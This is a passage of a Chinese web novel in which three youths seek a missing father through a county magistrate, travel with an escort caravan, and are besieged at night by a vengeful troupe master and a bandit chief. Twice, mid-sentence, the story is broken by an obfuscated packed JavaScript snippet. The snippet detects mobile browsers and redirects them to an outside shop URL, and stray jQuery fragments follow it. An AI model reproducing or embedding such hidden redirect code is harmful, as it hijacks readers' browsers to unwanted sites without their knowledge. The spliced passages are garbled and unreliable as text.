陈子非点头,觉得这是个不错的主意,他安抚的摸了摸苏茴的脑袋:“认识去衙门的路吗?” 苏茴咬着唇努力把眼泪逼回:“我带你们去。” 三人很快到了衙门,捕快刚好是苏茴认识的,捕快看见苏茴后惊讶了一下,得知苏茴的来意后摇头,表示苏正字已经有快两个半月未来衙门点卯,但究竟是为何,他也不甚清楚。 苏茴请求见县令,捕快爽快的通传了一声,片刻之后他便回来,领着三人进了衙门。 “刘伯伯,好久不见,近来可好?”苏茴一进偏堂,就看见崇阳县令正在沏茶。虽然心下焦急,但礼节不可废,她朝县令行了一礼,出声问好。 “欸,小茴,真是好久不见,让伯伯看看长高了没有。”崇阳县令笑呵呵的放下手中的茶壶,绕过桌子上前几步,见苏茴身后还有两人,打量了下,有些疑惑的看向苏茴,“这两位是?” 苏茴回头,正犹豫该怎么介绍时,陈子非上前一步,笑着朝崇阳县令作了一揖:“白云县令之子陈子非,见过刘县令。” 谢岁安同样上前作揖:“草民吴岁欢,见过刘大人。” “原来是陈县令之子和吴小友。”崇阳县令在听到陈子非身份时有一瞬的惊讶,很快又转变成热情,即刻笑着引三人到茶桌上,“快快坐下,有事无事先饮一杯茶水。” 几人从善如流的坐下,又寒暄了一小会儿,眼见差不多了,苏茴才开口询问:“刘伯伯,实不相瞒,我来县衙其实是想向你打听我父亲的下落,我听捕快说他已两月有余未来点卯,您知道他去哪儿了了吗” 闻言,崇阳县令倒茶的手一顿,他放下茶壶,眼带犹豫。 !! 他一定知道些什么——谢岁安和陈子非对视一眼。 苏茴又惊又喜的看向他:“刘伯伯,你知道我爹在哪里对不对?” “这……”崇阳县令吐出一个字却又噤声,看起来像是为难,又像是不知如何开口。 好不容易有了父亲的消息,却又迟迟打探不到,苏茴急的眼泪都掉了出来。 她起身扑到崇阳县令的腿上,扒着椅子泪汪汪的看向崇阳县令:“刘伯伯,求你告诉我我爹去哪里了,我真的很想他,你是不知道我差点就再也回不来了……” 苏茴一抽一噎的哭诉着自己之前差点被拐卖的事情。 本就是自己看着长大的孩子,就算与他没有亲缘关系,看着原来乖巧灿烂的孩子如此可怜难过,他感觉自己的心也揪了起来。 半晌,他终是叹了口气。 “好孩子,你受苦了。”崇阳县令摸摸腿上的小脑袋,“关于你爹我知道的也不多,我只知道三个月前他和巡游过来的成王见过一面,之后上面突然下了调令,调令既没有调任地点,也没有派发任务。但你爹好像知道需要做什么,安排你和你娘离开后,他也很快离开了。” 说着,他停了下,定定的看向苏茴:“我有一个猜测,你爹现在很有可能在京城……自然,这只是我个人的猜测。” 苏茴不知道自己是怎么走出衙门的,她恍惚的走在马路上,整个人都在神游天外。 突然,她猛地被旁边的人一拽,一辆马车就从她身侧疾行而过。 看着马车的背影,她心脏砰砰跳的极快,这才如梦初醒。 一扭头,便见谢岁安紧抿着唇角,眉头微皱,盯着她的眼睛带着几分忧虑和担心。 苏茴忍不住扑进谢岁安的怀中,嚎啕大哭起来:“哥哥,为什么?父亲为什么丢下我和娘亲,他不要我们了吗?” 谢岁安抱着苏茴轻轻拍着她的背:“不会的,叔叔大概是有什么苦衷,不得已才出此下策,安排你们走后再离开……大概是想处理完事情再来接你和你娘亲。” 安慰的话语收效甚微,苏茴的情绪崩溃失控,依然痛苦流泪。 谢岁安求助的看向陈子非,陈子非无言的摇摇头。 谢岁安无奈,只好将人抱的再紧一点。 三人在街道旁边驻立良久,旁边的围观群众聚散了好几波,苏茴终于哭累了,在又一个抽噎之后,直直晕了过去。 谢岁安赶忙将人抱住,又抬头看陈子非。 陈子非:“我们先回客栈。” 两人到客栈把苏茴放到床上,又差人去请了大夫,确认苏茴没什么事,只是情绪太激动哭晕了过去,睡醒就好后,两人才松了一口气。 苏茴直到傍晚才醒来。 她睁开眼,感觉眼皮异常沉重,眼睛也极度酸涩,脑子更是昏胀无比,整个人都难受异常。 “醒了?” 苏茴扭头便看见坐在正中央的谢岁安。 谢岁安见人醒了,倒了杯水,又将人从床上扶起,给她喂了几口:“感觉好些了吗?” 谢谢…… 苏茴张嘴,却发现并没有声音,同时嗓子的干涩和疼痛也传向脑子——上午哭太久了,她把自己哭哑了。 “哑了?” 苏茴点 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陈子非带着小孩去了最大的衣坊,大约一个时辰之后三人才出来,换上新衣服的苏茴十分高兴,一扫前几日的阴霾,在街道上蹦蹦跳跳的逛着。 见她终于开心起来,后面两人都不由松了口气。 陈子非将谢岁安手上打包好的衣服拿走,随手交给后面拎包的陈林,在谢岁安疑惑的目光中轻轻推了推他的肩:“去吧,跟小茴一起去玩吧。” 谢岁安对逛街的爱很一般,但他不想拂了陈子非的好意,于是点了点头,快步追上前面的苏茴。 “少爷,我也想去玩啊。”后面大包小包提着的陈林上前一步,可怜巴巴的说道。 之前要么赶山路前不着村后不着店,要么简单的补给后快速启程,他都好久没在这么有人味的地方逛过了。 陈子非挑眉:“行,你把东西放回客栈就去玩吧,今天的消费由少爷我买单。” “得嘞,少爷,你是我最大方的少爷!”陈林笑嘻嘻的诨了两句,兔子似的跑没影了。 陈子非也放慢脚步,挑看着两边的小摊,时不时买点有意思的小玩意,倒是连日里难得的惬意。 正买着草蚂蚱的陈子非用余光瞟见前面两小孩停了下来,赶忙付了钱,一转头,便见苏茴正眼巴巴的望着比她人高出一大截的冰糖葫芦扫把,眼里满是想吃糖的渴望。 旁边的谢岁安在身上找了找,发现自己确实分文没有,看了眼苏茴,又转头盯着那把冰糖葫芦,抿唇,一脸郁卒。 就在卖糖葫芦的小贩要抵不住两小孩的眼神,打算换个地方叫卖时,陈子非走了过来,递给他几个铜板:“两串糖葫芦。” “得嘞客官,您拿好。”小贩瞬间眉开眼笑。 陈子非将糖葫芦分给两个小朋友,又塞了几两银子,很是大方:“想要什么自己买,钱不够了再找我要。” “谢谢子非哥哥,你就是天底下最好的哥哥!”苏茴接过糖葫芦和银子惊呼出声。 谢岁安在听到‘最好的哥哥’时忍不住转头去看苏茴,只见她一口咬掉一颗山楂,吃的眉眼弯弯很是满足,完全没意识到自己是第几次把‘最好哥哥’头衔随意颁发。 谢岁安也咬下一颗山楂,嚼的嘎嘣作响:“谢谢子非哥哥。” 他以后一定要赚很多钱,买下全燕临,不,全天下的糖葫芦! 陈子非自是不知道小孩们的所思所想,只觉得这一声又一声的哥哥分外受用,不由的有点飘飘然,大手一挥:“买,这一条街我都可以给你们买下来!” 青衫少年牵着一高一矮两个小不点,穿梭在人群摊贩中,时不时驻足停留、上手把玩,像极了富家公子带着家中小辈出街游逛,好不温馨热闹。 街道末尾,攒动的人头中,有一个头戴白色维帽的伫立良久。 他盯着那正在一个摊子前挑选发簪的三人,轻轻撩开维帽一角,凶戾的目光近乎如刀刺向三人。 “吴、阿、狗!” 一字一顿的声音从齿缝挤出,男人低沉的嗓音在阴影下如蛇吐信,带着极力的压制和滔天的恨意。 8. 有人跟踪 从崇阳离开后的半个月,镖队走的十分顺利。 自崇阳向南到洛城,中间都位处平原地带,道路通畅,设施完善,完全没有之前走山路的艰辛。 但过了洛城,后面的路况却比之前更加艰难。 洛城之后是丰西,丰西群山延绵,一山一山高耸入云,其北部更是有将近百里的丘陵地带。 这种穷山恶水之地,除了容易碰到猛兽毒虫,还容易被劫匪刁民盯上。 哪怕是走过多次的万龙镖局也会偶尔在此发生意外。 因此领队的镖头在入山之前就对队里的人尤其是陈子非三人再三强调:万不可掉队独自行动,身上一定记得带上驱赶虫蛇的药囊,万一发生意外一切以性命为重。 镖队里的人都是走过几年的老手,训练有素、经验丰富,而陈子非三人对镖头的话一直谨记于心、严格遵守,如此之下,车队一行人入山之后的半个月走的到还顺利,基本没有碰到太多的麻烦。 “天也要黑了,今晚我们就在这里安营,晚上还是辛苦兄弟几个轮流守夜。” 镖头见天已近暮色,知晓今天是没法走出这座山,附近也没有寺庙和山民可以借宿,但他记得这附近有个山洞,便带着众人来到这里安营。 其实一般来说,赶山路的无论是独行者还是像镖队这样多人一起出行的,都会尽量避免在野外过夜,野外过夜一来易遇野兽虫蚁,二则是容易碰到强盗。 本来按照计划,他们一行今天应是要在更远一些的月牙村过夜,但计划赶不上变化,人算不如天算。 镖头昨夜与清晨观天之象,都断定今天是一个好天气,可以上路,大家只要脚程稍微快些,便能在天黑之前翻过这座山赶到月牙村。 上午确实天气晴朗,但众人刚吃过午饭,正准备继续赶路,却忽地起了一阵大风,倾盆的暴雨就这么不期而至。 暴雨一连下了将近两个时辰,镖队不得不停下躲雨,好不容易雨停,山路却变得泥泞难走,一个下午,镖队基本没走几步。 这么一耽搁,天便黑了下来。 “小哥哥,这个呢,这个是可以吃的吗?”苏茴用两根树枝夹了一个红色的蘑菇,探到谢岁安面前晃了晃。 谢岁安仔细看了后摇头:“这个有毒,不能吃”,他从篮子里拿出另外一头红色蘑菇,“你看,这个颜色偏暗一点,你手上那个鲜艳很多”说着,又将手上的蘑菇翻了个面,“它们的菌褶也不一样,这个是淡黄色的,你手上那个是白色的,而且有毒的这个的褶皱密很多。” 苏茴闻言,仔细对比了下,确实是很多细节不一样。但这么辨认也太难了,一不小心就会看错吧。 她将夹住的蘑菇甩了出去:“好复杂。” “所以在野外最好还是不要采蘑菇吃,很多蘑菇都长的很相似。” 苏茴点头,她确实不能采蘑菇吃,一炷香的时间,她已经采了好几种毒蘑菇。 “小茴、岁安,柴火捡够了,我们回去吧!”十几米外的陈子非冲二人招招手,示意两人过来。 “走吧。” 谢岁安将手上的蘑菇放回篮子,擦了擦手,牵起苏茴的手跟在陈子非和另外一个镖员的身后。 只是刚走没一会,他却忽然停下,抬头朝后看去。 “小哥哥?”苏茴疑惑看他。 陈子非和镖员闻声回头。 陈子非见谢岁安一脸凝重,不由也正色起来,他循着谢岁安的视线看去,层层叠叠的树木一眼望不到头,青色的树蔓随风晃动乱颤,偶尔摇落些许叶片飘零在地。 除了树,还是树。 他的视线落回谢岁安身上:“这是……怎么了?” 谢岁安没有回答,只朝陈子非旁边的镖员伸手:“陈大哥,弓箭借用一下。” 陈平也有些愣,他完全没明白发生了什么,但还是顺从的从背后摘下弓箭,递到谢岁安手上。 谢岁安握住那略带粗糙质感的硬木弓,反手搭到身前,巨大的木弓几乎与他同高。 搭箭,扣弦,开弓——行云流水的动作在瞬间完成,本是成人使用的大弓对九岁的谢岁安并没有造成任何困扰,他稳稳的射出这一箭。 弓弦震响,破空的利箭带着迅雷之势直直没入密林。 所有人都屏住呼吸,视线紧跟箭矢盯向树林。 然而谢岁安却动了,在箭入密林的刹那,他忽然提气暴起,拎起重弓猛砸一侧的芒萁草丛。 一个人影从草丛滚出,他身着劲装,头戴面具,无法看清正脸。 他反应飞快,扭身往旁边一滚,躲过谢岁安的重击,然而不等他从地上爬起,谢岁安又拎着弓砸了第二下、第三下、第四下……他无法,只得继续扭滚着躲开谢岁安的攻击。 陈平神色一凛,他看两人在刹那间已过数招,知晓这不是自己能插得上手的,便将苏茴和陈子非护在身后,眼神如鹰般不断在周围扫视,以防某个角落突然又蹦出人。 陈子非同样神色肃穆的看着周围,他抱着苏茴紧紧挨着陈平,出言安抚:“别怕。” 苏茴盯着不远处激烈打斗的二人,忍不住揪住自己的衣角:“我不怕。” 她恨自己才刚学一点武功皮毛,一点忙也帮不上。 在草丛中滚来滚去的男人终于找到机会起身,他面具下的眼神愈发阴狠,不再是完全狼狈的逃窜,开始一边防守一边寻着机会进攻。 面具男再次躲过谢岁安的一记扫堂腿,从腰侧摸出一个铁匣子,按动机关朝苏茴等人射去。 谢岁安一弓砸到面具男腰上,面具男却全然不顾,又是几发暗器射向苏茴几人。 陈大哥舞着箭桶将射过来的针拍落,奈何连发的数量实在是太多,他没有办法全面顾及。见状,谢岁安只地提着弓回撤,堪堪拦下暗器。 面具男抓住机会,转身掠向树林。 谢岁安见他要逃,迅速踮脚飞跃到陈大哥身旁,从箭筒抽出一只箭矢,又是一箭射向密林。 然而面具男的轻功极佳,一个闪身躲过飞来的利箭,眨眼间,人便没入林中消失不见。 看着那抹身影消失,谢岁安脸色十分难看,他扭头看向身侧的人:“子非哥,通知镖队的人,我们必须马上建立防线。” 苏茴挣扎起来,陈子非顺势将她放下,他对上谢岁安的视线:“你是不是知道是谁?” 苏茴跑去谢岁安旁边,刚才她看到小哥哥的手臂挨了面具男一拳,她撩起谢岁安左手的袖子,果然看见一片淤青。 谢岁安由着苏茴动作,点了点头:“如果我没猜错,应该是子车马戏的班主——子车仪。” 陈子非和苏茴闻言惊讶。 苏茴想了想,身形确实像之前的那个班主:“都这么久了,他怎么还阴魂不散!”想起之前不美好的回忆,苏茴不快的抿唇。 谢岁安捉住苏茴的手冲她摇头,拉下袖子,表示不用给这么点伤特意揉搓。 “他应该是之前逃到了崇阳,在崇阳意外碰到了我们,一路跟过来的。”谢岁安看向陈大哥,“陈大哥还记得吧,刚离开崇阳那两天,我便觉得有人在跟踪,只是我们每次探查都没结果,过了两天又恢复平静,我便以为是我的错觉。” 现在看来,根本不是错觉。 他们这几人,唯一得罪的功夫高强的人,只有一个子车仪,刚才面具男是子车仪的概率十之八九。 陈子非脸色愈沉,是子车仪,那就是不死不休的死仇。他盯了两天后消失了十几天又重新出现,是已经做好了充分的准备对付他们? 陈子非一手牵起一个小孩:“先回去和大家汇合。” …… 镖头听完事情的经过和几人的推测,神色不由凝重起来。 若真如谢岁安猜测的一般,是子车仪,他是一人?还是一群人?如果是一人倒是不足为惧,但若是他勾搭了一群人,怕是有一场恶战。 如若不是子车仪,这般大费周章的跟踪探查,是见财起意的江洋大盗?还是劫道悍匪的探子?前者一人同样不足为惧,但若是后者,即便他们愿意舍弃财物,也不好说强盗们就愿放他们离去。 山上环境恶劣,道路他们只对固定的路线熟悉,下午大雨过后路面到现在仍是几分泥泞,天上乌云层叠,是今夜要再下雨的预兆。 前路未明,敌我强弱亦是未知。 敌暗我明,冒然离开只会沦为活靶,既然已经被盯上很长一段时间,前方设埋伏的概率亦是九成,种种看来,他们原地防守、以静制动才是上上之策。 只是…… 李镖头看着已经快要完全黑下来的天色,环顾四周。 山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550967|204339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洞干燥封闭,在此设立防御可以最大程度的保留队伍体力,且仅需要防御一面即可,但问题也正在于此——这个山洞相对狭小,仅有一个出入口,在此地一旦被围困,便是瓮中捉鳖,任人拿捏。 既已知对方大概率是死敌,被不死不休围困的可能性极大,留守此处无异于羊入虎口。 正在镖头思索之际,谢岁安先出了声。 “李大哥,我今天从外面柴回来的时候,看见在我们山洞东侧不远处有一个巨岩,在它的下方,有两尺左右的浅碗状缺口,背后是垂直无法攀爬的岩壁,我们可以在此处设立防线。” 李镖头闻言大喜,他连忙又询问了几个细节,谢岁安一一应答。 李镖头确认就是自己所想的那种半开放有凹地形,眼神越来越亮,即刻指挥着众人迅速收拾行李向巨岩出发。 这种背靠巨大岩石的半开放凹处地形,属于天然的战壕加掩体,即有凹处的‘山洞’作为背后防护,又有野战的开阔视野,背后更是垂直无法攀爬的岩壁,相当于只需要重点防御前方扇形区域,可以大大节省人力。 与单出口的山洞一旦被围困难以脱身不同,半开放的地形更加灵活,易守难攻,还保留了撤离的可能性。 当然,更大的灵活性也同样带来了其他的风险。 首当其冲的便是寒冷的问题,现已入冬,下午暴雨之后山上更是寒冷,露天的地形防寒是一个大问题,否则敌人还没到来,己方便已经被寒冷击垮。 其次便是他们虽背靠石壁、却仍有四面受敌的可能,怎样平安度过今夜,如何安排人手才能全面防护,不是一个有利的地形就能完全解决的问题。 大约一炷香多一点的时间,众人便赶到了巨岩处。 李镖头带着两人摸索了下地形路况,大致有个了解后开始部署场地。 众人在镖头的指挥下,快速的清理了凹处的碎石杂物,以便坐卧,又用行李和附近能找到搬来的石头和树枝构筑起一个半月形的矮墙,以便遮挡和防御。 在构筑起的矮墙大约十步处,李书还设置了绊马索,并在绳子上挂上了铃铛,一旦有人靠近,他们便能通过警铃迅速知道敌人靠近。 观下午的阴沉的天象,李书推测今晚后半夜还要再下一程雨,幸得此处巨岩的凹处顶部有岩檐,众人只需要简单的架设油布固定即可进行遮雨,李书又指挥着人在矮墙内侧挖了条浅排水沟,防止雨水聚积。 陈子非带着谢岁安在附近又收集了些柴火,露天的地形不比山洞温暖,怕是后半夜大家都只能靠衣物和小型的篝火堆取暖。 场地的部署基本完成,李书环视众人一周,开始一一分配任务: “萧宏茂、萧逸、陈安、梁文轩、段永福,你们五人拿盾和枪守在矮墙后,迎战敌人的近战冲击,两人、三人一组,每两个时辰轮换一次。” “陈平、袁九,你们拿着弓箭到那个凹处,听令发射。” “段武、段长文,你们潜伏在矮墙两侧,监听预警绳铃,做好与敌人迂回作战的准备。” 镖队里的人一一领命,即刻到岗各司其职,李书又将目光放在陈子非一行: “公子,您带着小茴在这矮墙内躲好,切不要发出太大响动。” “陈林,你看着干粮水和火堆,照顾好你家公子和小茴。” “至于岁安你……”,李书的视线转落在谢岁安身上,神色犹豫。 谢岁安上前一步,抱拳:“不才自荐,我年龄虽小,拳脚功夫却也不错,但听李大哥差遣。” 不错属实谦虚,他的武功只怕比在场镖局一众人都高,尽管李书并未看他出手几次,却也能从他的招式和稳度中能推测一二。 该说不愧是自古英雄出少年?九岁便有如此功夫,说声天纵奇才也不为过。 李书拍了拍谢岁安的肩,哈笑一声:“好小子,你跟着我罢,我俩随时补位缺口,定不叫你负这一身好功夫。” 天已完全入夜,月亮不出,星星未有,层叠乌云遮罩下是极其沉郁的黑暗。 雨后山凉,水气氤氲,本就漆黑的夜晚在水雾下能见度更低,唯有阵阵寒风自矮墙呼啸而过。 李书身侧立着一把大砍刀,借石壁掩住身形,他直视前方朦胧的树林,脑子愈发冷静。 但愿今夜能平安度过。 9. 土匪 众人悄然呆在自己的位置,怀着忐忑的心情警惕着周围的一切,但所预想的敌袭并未发生,他们相安无事的度过了上半夜。 下半夜果然如李书所料,开始淅淅沥沥的下起了雨。 好在雨下的不大,时间也短,大约一炷香的时间后,雨便停了。 天上的云淡了一些,树林不再是伸手不见五指的漆黑,迎着微弱的月光,一阵冷风吹过,寒意便从皮层刺入骨髓。 李书打了个冷颤。 他不住的搓手,环顾四周。立冬之后的山林,万籁俱静,鸟儿小虫都不愿出来,唯有风吹动树叶和水滴落下的声响。 没有任何异常。 再三考虑之后,李书决定先撤回一半的人到营地烤火,否则再这么冻下去,敌人不一定到来,自己人却有大概率冻伤。 他正准备去叫人,却听见一个稚嫩的声音:“小哥哥,阿叔,那里好像有……烟?” 刚从营地上来的苏茴扒着石壁沿,指着一个方位。 谢岁安循着她指的方向看去,漆黑朦胧一片,他并没有看出什么。 他转头看向同样望着那个方位的李书:“李大哥,你有看到吗?” 李书摇头:“太黑了,看不出什么。”他略微迟疑,“小茴,你确定你看到的是烟吗,不是雾?” 苏茴又盯着看了好一会,才仰头回话:“阿叔,是烟,跟我们熄灭火堆之后柴火冒出的烟是一样的,而且……有好几堆烟。” 谢岁安的心骤然沉了下去。 或许其他人会觉得五岁小孩分不清烟和雾,会根据自己浅薄的认知臆想胡说,但自人贩子事件后谢岁安日日都和苏茴在一起,他不说对苏茴了如指掌,却也能断定苏茴此言既非臆想,也非看错。 他摸了摸苏茴的脑袋:“小茴,你先下去,和子非哥哥呆在一起,跟哥哥说把火堆灭了,呆在凹处躲好,不要出来。” 苏茴扯了下他的衣袖,神色有些紧张:“小哥哥,是,坏人要来了吗?” “别怕,小茴,不会有事的。听话,去找子非哥哥。” 苏茴忍不住将手中的衣袖揪了一圈,看着小哥哥冲她露出一个安抚的笑,才一点一点的松手。 她点头,又看了眼谢岁安和李书,才爬下岩壁,小跑着进了凹处。 她一边跑着,一边甚至能听见砰砰的剧烈心跳。 那被人牙子拐走,在马车上被五花大绑日日恐惧担心的感觉又重新浮现。 她以为自己已经淡忘,但此刻那段记忆却不断的在她脑海中回放—— 被鞭打、被责骂,断水、断食,戏班子那些人看她的奇怪眼神、还有他们充满恶意的调笑话语…… 苏茴忍不住打了个寒颤。 如果再被那个班主抓到,是不是又要过那种惶恐不安的日子? 不,也许不止是那样,会更糟。 她想起之前和娘亲一起遇到土匪时的场景。 大刀,比她还长的大刀砍了李嬷嬷的背,斩了赵伯的头,她完全被吓呆了,那猎猎长刀挥舞着就要劈向她的头颅,在即将抵达她脑门的下一刻,她幸而被人救走了,可那种濒临死亡的恐惧,却深深的烙印在了她心底。 也许这一次,她们会死。 就跟之前遇匪时的其他人一样。 苏茴停步,深呼吸几口气将脑子里面糟糕的情绪剔除。 恐惧和害怕在这种生死关头毫无作用,只会让自己失去行动力变成其他人的拖累,就像之前她被土匪的大刀吓得不敢动弹,被嬷嬷推开才得以存活。而嬷嬷,代替她成了刀下亡魂。 事态也许没有她想的那么糟糕。 小哥哥在,子非哥哥在,还有李叔他们,一定会没事的。 安慰好了自己,苏茴才转身进凹处跟其他人同步信息。 谢岁安看苏茴爬下石壁,转头望李书。 “李大哥,小茴她的视力是比常人要好很多,她看到的烟是真的,我估计,他们已经发现了我们的方位,正在向我们靠近。就是不知道他具体集结了多少人。” 但苏茴说看到了好几堆烟,这个人数,只怕是二十往上。 怕是一场恶战。 李书的心情愈发沉重,但多年的走镖生涯让他依然镇定,起码表面看不出分毫。 “是福不是祸,是祸躲不过。“他握住了身侧的刀柄,与谢岁安对视,”岁安,你通知左侧的兄弟,我去右侧,让大家打起十二分的精神,随时准备应战。” …… 谢岁安才跟侧翼巡哨人员同步完信息,预警铃忽地叮当响起。 来人像是意识到什么,顿了几秒后撤去。 几人对视一眼,霎时警铃大作,人来了。 “两位继续隐藏在侧翼,与敌人迂回作战,一旦有人企图靠近矮墙向上,不用留余地,即刻斩杀。” 谢岁安言毕,提气向岩壁爬去。 只是他才爬到一半,下面忽然火光大盛,一排一排的火把传递亮起,最后居然形成了一大片。 谢岁安只能看清亮起的火把与攒动的人影,他根据火把粗略的估计了下,大概有三四十人。 为了对付他们几个,居然出动了这么多人吗? 所以果真是子车仪?可是他从哪里召集的这么多人? 谢岁安脸色沉重,他一个大跳进了凹处,将苏茴带出,指向前面的火光。 “小茴,前面火光那里,你能看清楚吗,举着火把的是人还是什么?” 苏茴仔细看了一会儿,脸色逐渐苍白。 她转头看向谢岁安,嘴唇抖了抖才找到声音:“小哥哥,是人,每一个举着火把的,都是人。甚至还不止,有些……根本没举着火把。” “能看清大概多少人吗?” “起码五六十。” 五六十……谢岁安嚼了下这个数字。 “小哥哥?” 感知到袖子被扯住,谢岁安这才猛然回神。 他冲苏茴笑了笑,抱起她摸了摸头:“小茴,不怕。” 不怕么?可是她分明看见他的手在抖。 她揽上谢岁安的脖子:“嗯,不怕。” 从外沿到凹处也不过转个弯几步路的脚程,谢岁安很快站定在陈子非面前。 谢岁安一边将苏茴放下,一边和陈子非道: “子非哥,来的人比想象中还要多上一倍,少说有五六十,这里决计是守不住了,按照我们原先商定的,等下我让长文哥上来,你带着小茴、陈林哥跟长文哥从石壁后面的绳索先走。” “他们的人估计大部分都在我们这边,但也不排除在后面的路上设埋伏,你们一定要小心。” 陈子非心下诧异,怎么会有这么多的人? 但现在思考这些并无用处,他看着眼前才将将到自己腰部的小孩,想让他跟自己一起走。 无论谢岁安再怎么武功高强、足智多谋,说到底,他现在也只是一个九岁的、应当被人护着的小孩。 可是陈子非想起之前他们商议撤退计划时,他刚提出让岁安跟他们一起,他便摇头拒绝。 “子非哥,你跟小茴先走,如果是子车仪,我们都不在,他会立刻改变计划。我在前面拖住他们,晚一步撤退,我的功夫你是知道的,我们一起只会互相拖累,你们不在我还能跑的快些。” 陈子非知道他说的都是对的,也是最好的办法。 最终劝人的话在喉咙中转了一圈,被他咽了下去。 他拍了拍谢岁安的肩膀,眸中担忧甚甚:“你要小心,切不可冒头冲阵,跟紧你李大哥,一切以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550968|204339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性命为先。” 谢岁安点头,向陈子非露出一个笑:“我知道的,子非哥,我不会有事的。”说着,他又将目光转向苏茴,“子非哥,小茴的夜视能力极强,你可以让她先观测道路,初步判断之后再前进,小茴……就劳你多费心照顾。” 陈子非啧了声:“你这说的什么话,她是我的妹妹,照顾不是应该的?自然是我在哪里她在哪里。” “这是自然。”谢岁安笑,“毕竟子非哥你是天底下最好的哥哥。” “好啊臭小子,都什么时候了,还揶揄我?” 苏茴没什么闹的心思,抿唇拉了下谢岁安的衣袖。 “小哥哥,你小心,我……我们在前面等你。” 拉着他的小孩微仰起头,扑簌的鹿眼中蒙上点点压制不住的水雾,红唇抿成一条直线,不安与担忧都是那样的明显。 谢岁安再度摸了摸她的头,拉住她的手交给陈子非。 目送着陈子非三人离去的身影,谢岁安收回视线,回到矮墙内岩,李书正握着大砍刀紧紧盯着前面不断靠近的火把和人影。 “子非哥他们四个已经走了。” 李书点点头:“好,我们观察下来人,一旦我吹哨,即刻撤离。” 泠泠的月光挥洒,勾勒出李书粗粒的轮廓,他的眼始终贯注前方,在某一个时刻,微微一缩:“来了。” 岩下那一小方阵的火把散开,露出一个身高八尺、健硕异常的男人,他提着一把流星锤,走到了阵前。 大锤砸地,轰鸣微响,那男人粗狂的声音像猛兽异动: “上面的人听着,我是黑风寨的大当家彭渊,你们已经被我们的人包围了,识相的,赶紧从上面下来,交出你们的财物和那个小男孩,爷爷我可以放你们一条生路。” 李书没有回话,反而转头看向谢岁安:“怎么样,找到了吗?” “嗯,找到了,就是子车仪。”谢岁安点头,手指着距彭渊一步之遥的黑袍男人。 虽早有准备,但在确认的时刻,最后一丝侥幸也被打碎。 李书敛下所有心绪,这才回头应和: “早闻黑风寨的彭大当家是个威武勇猛、有情有义的绿林豪客,怎么您如今还和散尽天良的人牙头子混迹一起?大当家想要钱财尽管好说,我们押送的镖物都在不远处的山洞,你尽可取去,权当今日结交一个朋友。” 彭渊闻言大笑几声:“你这后生既知我是个有情义的,那如何不知我为兄弟出头?我兄弟好心收留那黄毛小儿,他却生生毁了我兄弟的戏班子,害他一众弟兄性命,让他只能像只老鼠一样躲躲藏藏,我这个做大哥的岂有不视之理?” 此等言语着实不要脸。 但和土匪辩驳黑白、律法无异对牛弹琴,尤其这种所谓兄弟情谊大过天的土匪。 “大当家既然已经知晓事情的来龙去脉,想必也知道我们这一行人是什么身份,从何处来到哪里去。我家公子乃白云县令之子,此行是为护送公子进京赶考,我家大人是当朝丞相的门生,大人的哥哥更是在朝二品大员,公子的母亲则是北平一带白云商会的掌事人。” “大当家与我们无冤无仇,今日权当一场误会,何苦为了个人牙子招惹上朝廷?这样吧,本就在冬季,这夜黑风高又下雨的,兄弟们出来一趟也着实不容易,那山洞几大车的财物我们愿悉数奉上,这样兄弟们也不白出来一趟,你放我们一马,化干戈为玉帛,这样你好我好大家都好,大当家以为呢?” 土匪不在乎律法,不在意真相,但他们也会审时度势,惧怕死亡。 比起为兄弟报仇,自己的性命和利益,自然更为重要。 彭渊闻言一惊,不由愠怒的看向子车仪:“你不是说,他就是个县令家的公子哥,怎么还有这么复杂的背景?” 10. 被俘 子车仪也心里也有些诧异,他忙着躲避追杀,没想过也没时间去调查陈家的家世。 不过,知道了又如何? 管他哪种身份,他只要他们死。 子车仪面上淡淡,只赔罪似的向子车仪抱了一拳: “好大哥,勿怪,你也知道我当时躲藏官兵都来不及,属实没有时间和机会去调查这个。我们本想就抓吴阿狗那臭小子就行,但现在……” 他掀起眼皮觑了眼那黢黑岩石上微微可见的人,复又正色的看向黑风寨主。 “哥哥,我们今晚这样围堵,早把他们得罪惨了,如果真如那走镖的所言,他们是如此势力,你觉得他们会放过我们?大哥你是被这些官僚害过的呀,他们也就嘴上说的冠冕堂皇,实际哪有什么道德信义可言,否则大哥你人中龙凤,又何至于落山为寇?” “不如我们干脆一不做二不休,将他们全杀了,再伪造成意外死亡的模样,深山本多意外,雨天滑坡、巨岩滚落、虎兽撕咬,哪一个不能将我们摘干净?” 彭渊没有说话,只握着巨锤的食指在锤柄上点了点,不知道在想些什么。 子车仪却看出这是被说动有机会的苗头,于是再接再厉: “再者说,我知道大哥的你有鸿鹄之志,今皇帝愈发残暴昏聩,流民遍地,战事四起,西北、东南皆有举杆起义的英雄。大哥你天生神力,坐拥威猛山,在丰西更是名气极盛,只要你一声举旗,四方豪杰必相来助,不愁大业难酬。而那白云县令之子,何不杀来祭旗,以昭我等对抗朝廷的决心?” 彭渊本讳莫如深的脸逐渐展露笑颜,不知道是哪句话戳中了他,他哈哈大笑两声,举起重锤向前一挥:“攻上去,活捉那个公子哥,其他人,生死不论。” 彭渊又拍了拍子车仪的背:“老弟,今日你且看着,我为你报仇雪恨。” 